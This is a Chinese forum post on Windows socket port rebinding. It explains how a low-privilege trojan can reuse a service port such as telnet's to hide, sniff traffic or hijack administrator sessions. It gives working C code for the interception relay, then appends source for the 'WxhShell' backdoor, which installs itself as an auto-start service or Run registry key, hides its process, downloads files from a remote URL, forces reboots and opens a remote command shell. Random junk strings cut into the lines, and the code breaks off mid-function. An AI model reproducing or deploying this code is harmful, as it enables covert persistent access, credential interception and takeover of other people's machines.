社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 19294阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Kg-X]yu*0  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Vp"Ug,1  
x]cZm^  
  saddr.sin_family = AF_INET; 8lSn*;S,  
UC/2&7 ?  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); v1g5(  
UDtbfc7bk  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 4,ynt&  
Ltd?#HP  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 8Flf,"a   
BG0M j2  
  这意味着什么?意味着可以进行如下的攻击: v/.h%6n?  
u;qMo`-  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 U*"cf>dB(  
vD9D:vK  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 05I39/T%  
A=]F_  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 - :z5m+  
4@iJ|l  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  kS#DKo  
cGzYW~K  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 nYt\e]3  
H-KwkH`L4  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _D,f 4.R  
mX.3R+t  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 VD3MJ8!w  
%7d@+ .  
  #include m&0BbyE.z  
  #include G_N-}J>EP  
  #include 1za'u_  
  #include    ~.9o{?pbG  
  DWORD WINAPI ClientThread(LPVOID lpParam);   HmB[oH "x  
  int main() *@n3>$  
  { |$?Ux,(6  
  WORD wVersionRequested; \(U"_NPp  
  DWORD ret; T_tDpq_|  
  WSADATA wsaData; 'EET3R K-S  
  BOOL val; PeUd  
  SOCKADDR_IN saddr; 39aCwhh7v  
  SOCKADDR_IN scaddr; + >gbZ-S  
  int err; 3kqV_Pjg  
  SOCKET s; &DQ4=/Z  
  SOCKET sc; Fxth> O`$  
  int caddsize; j[J@tM#  
  HANDLE mt; ]{2{:`s  
  DWORD tid;   >{qK ]xj  
  wVersionRequested = MAKEWORD( 2, 2 ); 0 ij~e<  
  err = WSAStartup( wVersionRequested, &wsaData ); X$|TN+Ub  
  if ( err != 0 ) { !eAdm  
  printf("error!WSAStartup failed!\n"); kbp( a+5  
  return -1; ={E!8"  
  } 6SBvn%  
  saddr.sin_family = AF_INET; #+Yp^6zg  
   @f5@0A\0  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 :&0yf;>v  
:{i$2\DH6  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); eMl]td rI  
  saddr.sin_port = htons(23); ^c0$pqZ}r  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) y.*=Ww+  
  { cv*Q]F1%  
  printf("error!socket failed!\n"); jFNs=D&(  
  return -1; '0_j{ig  
  } "^ 6lvZP(  
  val = TRUE; *iRm`)zC(  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Ce5w0&VlS  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) hi3sOK*r;<  
  { O? Gl4_y  
  printf("error!setsockopt failed!\n"); m,gy9$  
  return -1; H MjeGO.i  
  } yg+IkQDf4U  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0gOrW=  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Rw/JPC"  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 y LgKS8b  
=yTa,PY  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) i+X2M-[Ls  
  { FSU%?PxO  
  ret=GetLastError(); 0ve`  
  printf("error!bind failed!\n"); a?,[w'7FU  
  return -1; =2nn "YVP  
  } n,?IcDU~m  
  listen(s,2); #mRFUA  
  while(1) ,bVS.A'o  
  { xjK_zO*dLq  
  caddsize = sizeof(scaddr); TXJY2J*24  
  //接受连接请求 c.8((h/  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); iIGI=EwZ  
  if(sc!=INVALID_SOCKET) A`x -L  
  { iJZ|[jEDV  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); b$goF }b'g  
  if(mt==NULL) };"+ O  
  { QlRoe| {  
  printf("Thread Creat Failed!\n"); X<Th{kM2  
  break; T}t E/  
  } {7=WU4$  
  } 'ybth  
  CloseHandle(mt); Y%fVt|  
  } 1qLl^DW  
  closesocket(s); wTlK4R#  
  WSACleanup(); ;J(rw  
  return 0; $h 08Z  
  }   !]rETP_  
  DWORD WINAPI ClientThread(LPVOID lpParam) :>P4L,Da]  
  { |k`f/*  
  SOCKET ss = (SOCKET)lpParam; *,W!FxJ  
  SOCKET sc; c/<Sa|'  
  unsigned char buf[4096]; 9|N" @0<B  
  SOCKADDR_IN saddr; R81{<q'%X  
  long num; 5@+4  
  DWORD val; crJ7pe9  
  DWORD ret; f2O*8^^Y{Q  
  //如果是隐藏端口应用的话,可以在此处加一些判断 zNV!@Yr  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ?E+:]j_  
  saddr.sin_family = AF_INET; M[YTk=IM#  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); QE 45!Z g  
  saddr.sin_port = htons(23); b W=.K>|  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3!.H^v?  
  { ':4}O#  
  printf("error!socket failed!\n"); cBLR#Yu;O5  
  return -1; AXl!cgi  
  } ([,vX"4  
  val = 100; {Ax)[<i  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^)f{q)to  
  { SZ5O89  
  ret = GetLastError(); aNE9LAms  
  return -1; PPoI>J  
  } %@}o'=[  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) GOy=p3mQ  
  { *xE"8pN/  
  ret = GetLastError(); c=A(o  
  return -1; 9Fy\t{ks  
  } pg~zUOY  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) -?< Ww{  
  { Pz]bZPHn  
  printf("error!socket connect failed!\n"); 7?=43bZl  
  closesocket(sc); U1,~bO9  
  closesocket(ss); hrs#ZZ:E  
  return -1; m~)Fr8Wh6  
  } M.ZEqV+k  
  while(1) jWH{;V&ZV  
  { f^W[; w  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 mje<d"bW  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 jM5_8nS&d  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 =\~E n5  
  num = recv(ss,buf,4096,0); @br@[RpB  
  if(num>0) _0'm4?"  
  send(sc,buf,num,0); b8J @K"  
  else if(num==0)  Y{B9`Z  
  break; _:35d1[  
  num = recv(sc,buf,4096,0); g .64Id  
  if(num>0) $; Q$W9+  
  send(ss,buf,num,0); "?apgx 6  
  else if(num==0) j5L)N  
  break; T4OguP=  
  } tg.|$n  
  closesocket(ss); %55@3)V8Rf  
  closesocket(sc); t"<s}~  
  return 0 ; I jZ]_*^!  
  } Yim{U:F  
J=I:T2bV&s  
WnD^F>  
========================================================== .6>  hD1'  
3B@y &a#&  
下边附上一个代码,,WXhSHELL XB0a dp  
&|v{#,ymeb  
========================================================== PX;Vo~6  
06 QU  
#include "stdafx.h" 5Z/yhF.{  
5]jx5!N  
#include <stdio.h> w3^NL(>  
#include <string.h> 9YR]+*  
#include <windows.h> P DRnW  
#include <winsock2.h> T}C2e! _O  
#include <winsvc.h> Dc08D4   
#include <urlmon.h> (+|X<Bl:`  
LmP qLH'(Q  
#pragma comment (lib, "Ws2_32.lib") OE_ QInb<  
#pragma comment (lib, "urlmon.lib") Lj}>Xy(7<  
7FAIew\r  
#define MAX_USER   100 // 最大客户端连接数  l B1#  
#define BUF_SOCK   200 // sock buffer 24#bMt#^  
#define KEY_BUFF   255 // 输入 buffer !Citzor  
Ls&+XlrX8  
#define REBOOT     0   // 重启 sU\c#|BSC"  
#define SHUTDOWN   1   // 关机 x&'o ]Y  
M'kVL0p?vN  
#define DEF_PORT   5000 // 监听端口 b9!.-^<8y  
<3d;1o   
#define REG_LEN     16   // 注册表键长度 Mr-DGLJ  
#define SVC_LEN     80   // NT服务名长度 Rv=DI&K%n  
BR+nL6sU  
// 从dll定义API /QQ8.8=5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); LH4>@YPGE#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); K*~]fy  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _@Y"$V]=Vt  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); MR`:5e  
COR;e`%,  
// wxhshell配置信息 `>s7M.|X  
struct WSCFG { M :V2a<!c  
  int ws_port;         // 监听端口 ]<1HM"D  
  char ws_passstr[REG_LEN]; // 口令 ^$!987"  
  int ws_autoins;       // 安装标记, 1=yes 0=no W4(v6>5l  
  char ws_regname[REG_LEN]; // 注册表键名 %m9CdWb=w  
  char ws_svcname[REG_LEN]; // 服务名 #O"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 dm6~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 eqq`TT#Z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Frk cO  
int ws_downexe;       // 下载执行标记, 1=yes 0=no F!J J6d53y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" MU'@2c  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zF8'i=b&  
'Y.Vn P&H  
}; []|;qHhC~(  
D3`}4 A  
// default Wxhshell configuration ;6ky5}z  
struct WSCFG wscfg={DEF_PORT, ({4]  
    "xuhuanlingzhe", QdQ d(4/1  
    1, +iy7e6P  
    "Wxhshell", ` @8`qXg  
    "Wxhshell", $$hv`HE^l  
            "WxhShell Service", Ur^j$B}  
    "Wrsky Windows CmdShell Service", hrbo:8SL  
    "Please Input Your Password: ", {Hl[C]25X  
  1, UfO7+_2  
  "http://www.wrsky.com/wxhshell.exe", QYQtMb,  
  "Wxhshell.exe" #O~XVuvF0  
    }; yPV' pT)  
$6T3y8  
// 消息定义模块 ' _dzcN,z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K$H <}e3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; piOXo=9H.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; BYi)j6"  
char *msg_ws_ext="\n\rExit."; UNDi_6Dy   
char *msg_ws_end="\n\rQuit."; 9GgA6#  
char *msg_ws_boot="\n\rReboot..."; NBjeH tT  
char *msg_ws_poff="\n\rShutdown..."; @b2`R3}9R  
char *msg_ws_down="\n\rSave to "; z% 1{  
1S0pd-i  
char *msg_ws_err="\n\rErr!"; HG%Z "d  
char *msg_ws_ok="\n\rOK!"; Tv5g`/e=Ej  
mf' ]O,  
char ExeFile[MAX_PATH]; ,Ol (piR  
int nUser = 0; \hlR]m!C  
HANDLE handles[MAX_USER];  QV qK  
int OsIsNt; '7*=`q{  
aQ#qRkI  
SERVICE_STATUS       serviceStatus; w%dL 8k  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; PmR*}Aw  
y,=du  
// 函数声明 &3Z?UhH  
int Install(void); <*|?x86~  
int Uninstall(void); vMla'5|l  
int DownloadFile(char *sURL, SOCKET wsh); /qU>5;  
int Boot(int flag); k%P;w1  
void HideProc(void); fQ 7vL~E  
int GetOsVer(void); w8iR|TV  
int Wxhshell(SOCKET wsl); @*MC/fe  
void TalkWithClient(void *cs); FB:<zmwR  
int CmdShell(SOCKET sock); b.F^vv"]]  
int StartFromService(void); :?Y$bX}a  
int StartWxhshell(LPSTR lpCmdLine); :!fG; )=  
*1{S*`|cJy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &<5+!c V=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); AW,OH SXh6  
K-eY|n  
// 数据结构和表定义 ifK%6o6  
SERVICE_TABLE_ENTRY DispatchTable[] = ~]'pY  
{ U7iuY~L  
{wscfg.ws_svcname, NTServiceMain}, jN0k9O>  
{NULL, NULL} %O%=rUD  
}; pFsc}R/0/8  
ir16   
// 自我安装 93O;+Z5J  
int Install(void) uj|BQ`k  
{ ~u87H?  
  char svExeFile[MAX_PATH]; [zkikZy  
  HKEY key; -n5 B)uw=  
  strcpy(svExeFile,ExeFile); }-@4vl x$  
Z5(enTy-  
// 如果是win9x系统,修改注册表设为自启动 Ad$n4Ze  
if(!OsIsNt) { is?2DcSl5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;AJTytE>%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2; `=P5V  
  RegCloseKey(key); #~L h#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E7zm{BX]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,#]t$mzbQ(  
  RegCloseKey(key); j' 0r'  
  return 0; vuQ%dDxI  
    } -e u]:4  
  } !xIm2+:(  
} <spZ! #o  
else { w}R~C   
gEQNs\Jn L  
// 如果是NT以上系统,安装为系统服务 *e#<n_%R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1w(JEqY3h:  
if (schSCManager!=0) jZoNi  
{ }/P5>F<H[  
  SC_HANDLE schService = CreateService 7piuLq+  
  ( !T,AdNa8  
  schSCManager, s;flzp8  
  wscfg.ws_svcname, TBrGA E  
  wscfg.ws_svcdisp, }MbH3ufC  
  SERVICE_ALL_ACCESS, U`|0 jJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (Y% Q|u  
  SERVICE_AUTO_START, qT:zEt5  
  SERVICE_ERROR_NORMAL, <M]h{BS=  
  svExeFile, RW$:9~  
  NULL, A@*:<Hs%  
  NULL, Xjio Z  
  NULL, q .4A(,  
  NULL, ]iNEw9  
  NULL -62'}%?A<C  
  ); evA/+F ,&  
  if (schService!=0) X|D!VX>#!  
  { l`-bFmpA  
  CloseServiceHandle(schService); R%D'`*+  
  CloseServiceHandle(schSCManager); RP5+d  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); gk[{2HgN  
  strcat(svExeFile,wscfg.ws_svcname); J[~5U~F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <"D=6jqZ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ] b9-k  
  RegCloseKey(key); ?ULo&P[  
  return 0; z+a%5J  
    } '})0!g<Y  
  } hwN?/5  
  CloseServiceHandle(schSCManager); xM[Vc  
} 6r: ?;j~l  
} ^ci3F<?Q=  
_p-t<ytnh  
return 1; vsWHk7 9  
} h N2:d1f0  
@+F4YJmB?l  
// 自我卸载 hI?sOR!  
int Uninstall(void) ~9)"!   
{ sVk$x:k1M  
  HKEY key; 54-#QIx|  
$;M:TpX  
if(!OsIsNt) { p!O(Y6QM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |2\{z{?  
  RegDeleteValue(key,wscfg.ws_regname); + Q=1AXe  
  RegCloseKey(key); `LAR@a5i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ##Q/I|  
  RegDeleteValue(key,wscfg.ws_regname); e!Y0-=?nf#  
  RegCloseKey(key); B+C);WQ,  
  return 0; (/-hu[:  
  } 3kcTE&1^  
} /&F,V+x  
} W>VP'vn}  
else { !zj0/Q G\  
pD]0`L-HJU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0;4t&v7  
if (schSCManager!=0) Y HSYu  
{ m-^ 8W[r+_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); i wxVl)QL  
  if (schService!=0) )[mwP.T=  
  { ay "'#[  
  if(DeleteService(schService)!=0) { r<F hY  
  CloseServiceHandle(schService); R8rfM?"W  
  CloseServiceHandle(schSCManager); <<=WY_m}  
  return 0; #P]#9Ty:  
  } D`J6h,=2l/  
  CloseServiceHandle(schService); J_Ltuso  
  } ;S0Kh"A  
  CloseServiceHandle(schSCManager); LK6; ? m  
} }ENR{vz$A  
} V-n&oCS+f  
SS`qJZ|w  
return 1; +w@M~?>  
} 2C{H$ A,pW  
C2Xd?d  
// 从指定url下载文件 jM-)BP6f4  
int DownloadFile(char *sURL, SOCKET wsh) 1]IQg;q  
{ O+ }qQNe<  
  HRESULT hr; `wF8k{Pb  
char seps[]= "/"; WDFjp  
char *token; pdJ/&ufh  
char *file; ;nC.fBu  
char myURL[MAX_PATH]; ?4H i-  
char myFILE[MAX_PATH]; it]E-^2>  
MlLb|!,)T  
strcpy(myURL,sURL); |FD}e)  
  token=strtok(myURL,seps); /Q~gU<  
  while(token!=NULL) A,r*%&4~  
  { ={LMdC~5X  
    file=token; moP,B~  
  token=strtok(NULL,seps); L?5Ck<!xG  
  } hx/N1 x  
meN2ZB?Y  
GetCurrentDirectory(MAX_PATH,myFILE); Z|%_oR~b|  
strcat(myFILE, "\\"); z]b>VpW:  
strcat(myFILE, file); |t; ~:A  
  send(wsh,myFILE,strlen(myFILE),0); *tm0R>?!  
send(wsh,"...",3,0); JXyM\}9-X  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ag F,aZU  
  if(hr==S_OK) JQ4{` =,b  
return 0; oB74y  
else DjSbyXvrg  
return 1; Gmf B  
[<'-yQ{l\  
} ~ek$C  
z<B8mB  
// 系统电源模块 +}f9   
int Boot(int flag) LM&y@"wfm  
{ F(t=!k,4\  
  HANDLE hToken; A:7k+4  
  TOKEN_PRIVILEGES tkp; dt2$`X18  
(@iMLuewK  
  if(OsIsNt) { ^"J8r W6[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Q WMdn  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (' -JY  
    tkp.PrivilegeCount = 1; ;FZ@:%qDm  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Sm~l:v0%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); o] mD"3_  
if(flag==REBOOT) { 2h[85\4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0P\$ 2lk  
  return 0; Z*-g[8FO  
} {uGP&cS~(  
else { &ZL3{M  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4lBU#V7  
  return 0; e9Nk3Sj]  
} l x,"EOP  
  } fu90]upz~  
  else { X/N0LU(q  
if(flag==REBOOT) { 4.IU!.Uo  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Bdj%hyW  
  return 0; 5Hcf;P7   
} #!)n {h+  
else { MNSbtT*^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |=&cQRY!p  
  return 0; 0{#8',*}m?  
} ezPz<iZ\N  
} 26xXl|I  
e^ v.)  
return 1; jg?x&'u\)  
} {J^lX/D  
d6W SL;$  
// win9x进程隐藏模块 Y5F]:gs@  
void HideProc(void) ( H6c{'&  
{ U#3J0+!  
sP ls zC[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +|tC'gCnV  
  if ( hKernel != NULL ) 1x[)/@.'f  
  { }[M`uZ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Yot?=T};3{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); D$T%\ P  
    FreeLibrary(hKernel); nxr!`^Mne  
  } U^Xm)lL  
)HX|S-qRU=  
return; [H=)  
} 4q<=K=F  
)n,P"0  
// 获取操作系统版本 zA[0mkC?$  
int GetOsVer(void)  4._( |  
{ J_FNAdQt  
  OSVERSIONINFO winfo; Dgy]ae(Hb3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x:nKfY5  
  GetVersionEx(&winfo); )KP5Wud X  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @r?Uua  
  return 1; e @IA20  
  else 3;a<_cE*@  
  return 0; }Q";aU0^  
} zL\OB?)5J  
*6} N =Z  
// 客户端句柄模块 VO"("7L  
int Wxhshell(SOCKET wsl) Ntbg`LGf'!  
{ D:Zy  
  SOCKET wsh; X$yN_7|+  
  struct sockaddr_in client; 3"O>&Q0c  
  DWORD myID; U4cY_p?  
&8z[`JW,T  
  while(nUser<MAX_USER) hEw- O;T0  
{ / 4lvP  
  int nSize=sizeof(client); g H G  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); '7oA< R  
  if(wsh==INVALID_SOCKET) return 1; ,u/aT5\_  
435;Vns\n  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9ksE>[7  
if(handles[nUser]==0) ]niJG t  
  closesocket(wsh); +=:#wzK@  
else Z.M,NR  
  nUser++; ;s52{>&F]  
  } _%GGl$kH  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /IsS;0K%L  
.j-IX1Sa  
  return 0; k68F-e[i^  
} ?yj6CL(,  
Pcw6!xH  
// 关闭 socket "U\4:k`:  
void CloseIt(SOCKET wsh) A* um{E+   
{ _vZ"4L+Iw+  
closesocket(wsh); !&"<oPjr+  
nUser--; >$ e9igwe  
ExitThread(0); C?2' +K  
} 3JVK  
4 M(-xl?  
// 客户端请求句柄 ,13Lq-  
void TalkWithClient(void *cs) 65Cg]Dt71  
{ B` k\EL'  
HB7;0yt`:  
  SOCKET wsh=(SOCKET)cs; 1n@8Kv  
  char pwd[SVC_LEN]; PnoPb k[<  
  char cmd[KEY_BUFF]; Yc'kvj)_M  
char chr[1]; yfm^?G|sW  
int i,j; n-%s8aaVf  
APO>y  
  while (nUser < MAX_USER) { &0`) Q  
{>F7CT'G6  
if(wscfg.ws_passstr) { 9[^gAR  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lg b?)=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q5#J~n8Wr  
  //ZeroMemory(pwd,KEY_BUFF); y>aZXa  
      i=0; .<Zy|1 4  
  while(i<SVC_LEN) { c.j$9=XLBG  
,JEF GI{  
  // 设置超时 p8]68!=W\F  
  fd_set FdRead; beu\cV3  
  struct timeval TimeOut; WAS U0  
  FD_ZERO(&FdRead); (t4&,W_spA  
  FD_SET(wsh,&FdRead); B~_d^`  
  TimeOut.tv_sec=8; ~SnSEhE  
  TimeOut.tv_usec=0; 7bV{Q355P  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); X0n~-m"m  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); QI3Nc8t_2  
9J?wO9rI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iURk=*Z=  
  pwd=chr[0]; Ck!VV2U#  
  if(chr[0]==0xd || chr[0]==0xa) { E8~}PQW:I  
  pwd=0; G;~V  
  break; Lg+G; W  
  } 4Z/Q=Mq2  
  i++; l'TWkQ-  
    } \xS&v7b  
B}&xaY  
  // 如果是非法用户,关闭 socket %y%j*B!%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); EeF'&zE-  
} ANps1w#TP  
nTz6LVF  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rhb@FE)Mc  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $9ky{T?YG  
Y2?.}ZO  
while(1) { 9s_,crq5  
b%S62(qP  
  ZeroMemory(cmd,KEY_BUFF); =-}[ ^u1  
1Q. \s_2  
      // 自动支持客户端 telnet标准   XGkkB  
  j=0; `IY/9'vT  
  while(j<KEY_BUFF) { !ki.t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %C=]1Q=T)  
  cmd[j]=chr[0]; |e2be1LD  
  if(chr[0]==0xa || chr[0]==0xd) { }eRD|1  
  cmd[j]=0; :P(K2q3  
  break; &Ky_v^  
  } :"!9_p(,,  
  j++; 14"J d\M8  
    } ](^(=%  
%Pqf{*d8  
  // 下载文件 |H! 9fZO  
  if(strstr(cmd,"http://")) { #2EI\E&$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _z1(y}u}  
  if(DownloadFile(cmd,wsh)) {Pc<u gfl  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6l4mS~/  
  else ]| +<P-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 91xB9k1zO  
  } qvv2O1c"A  
  else { r{rQu-|.  
?2g`8[">  
    switch(cmd[0]) { Qx'`PNU9\  
  Y]3>7q%  
  // 帮助 3hK#'."`N  
  case '?': { 8 P>#l.#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); oI#a_/w  
    break; A4]s~Ur  
  } | a# f\  
  // 安装 ;Yg{zhJX~  
  case 'i': { -^ C=]Medl  
    if(Install()) <!pvqNApg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <bD>m[8,  
    else EVNY*&p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L^{|uP15N  
    break; PtTHPAKj  
    } 5=1^T@~#&  
  // 卸载 5efpeu  
  case 'r': { nM0[P6p  
    if(Uninstall()) [u._q:A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /-i !;!  
    else 6HlePTf8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,yTjU{<"  
    break; <fs2fTUeqF  
    } c~v~2DM  
  // 显示 wxhshell 所在路径 ?Oc{bF7  
  case 'p': { Ck /F9(  
    char svExeFile[MAX_PATH]; _IdRF5<4  
    strcpy(svExeFile,"\n\r"); HWVtop/  
      strcat(svExeFile,ExeFile); >N.]|\V  
        send(wsh,svExeFile,strlen(svExeFile),0); -@Uqz781  
    break; \2vg{  
    } nO)X!dp}J  
  // 重启 =k oSUVO0  
  case 'b': { 51QRM32Y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); SC- $B  
    if(Boot(REBOOT)) pm6>_Kz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (X?/"lC)  
    else { q`G,L(  
    closesocket(wsh); +/ &_v^sC;  
